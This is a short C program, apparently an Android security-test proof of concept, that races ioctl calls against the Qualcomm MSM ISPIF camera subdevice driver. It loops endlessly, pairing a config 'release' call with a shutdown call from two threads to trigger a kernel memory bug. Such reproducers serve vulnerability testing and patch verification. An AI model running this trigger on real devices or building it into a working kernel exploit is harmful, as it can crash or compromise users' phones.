1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <unistd.h> 18 #include <fcntl.h> 19 #include <sys/syscall.h> 20 #include <stdio.h> 21 #include <string.h> 22 #include <stdint.h> 23 #include <pthread.h> 24 25 #define MSM_SD_SHUTDOWN 0xc00856dd 26 #define VIDIOC_MSM_ISPIF_CFG 0xc17056c0 27 28 struct ispif_cfg_data { 29 int32_t cfg_type; 30 union { 31 int reg_dump; /* ISPIF_ENABLE_REG_DUMP */ 32 uint32_t csid_version; /* ISPIF_INIT */ 33 //struct msm_ispif_vfe_info vfe_info; /* ISPIF_SET_VFE_INFO */ 34 //struct msm_ispif_param_data params; /* CFG, START, STOP */ 35 }; 36 }; 37 38 long r[11]; 39 40 int fd; 41 struct ispif_cfg_data data; 42 43 void *worker_thread(void *arg) { 44 45 int arg1[3] = {0}; 46 switch ((long)arg) { 47 case 0: 48 data.cfg_type = 8; ////release 49 ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data); 50 break; 51 case 1: 52 ioctl(fd, MSM_SD_SHUTDOWN, &arg1); 53 break; 54 } 55 return NULL; 56 } 57 58 int main() { 59 60 int pid,i; 61 pthread_t th[4]; 62 fd = open( "/dev/v4l-subdev17", 0x0ul ); 63 64 printf("please wait for several seconds...\n"); 65 66 while(1){ 67 68 data.cfg_type = 2; ////init 69 data.csid_version = 1; 70 ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data); 71 72 for (i = 0; i < 2; i++) { 73 pthread_create(&th[i], 0, worker_thread, (void *)(long)i); 74 usleep(10); 75 } 76 } 77 return 0; 78 } 79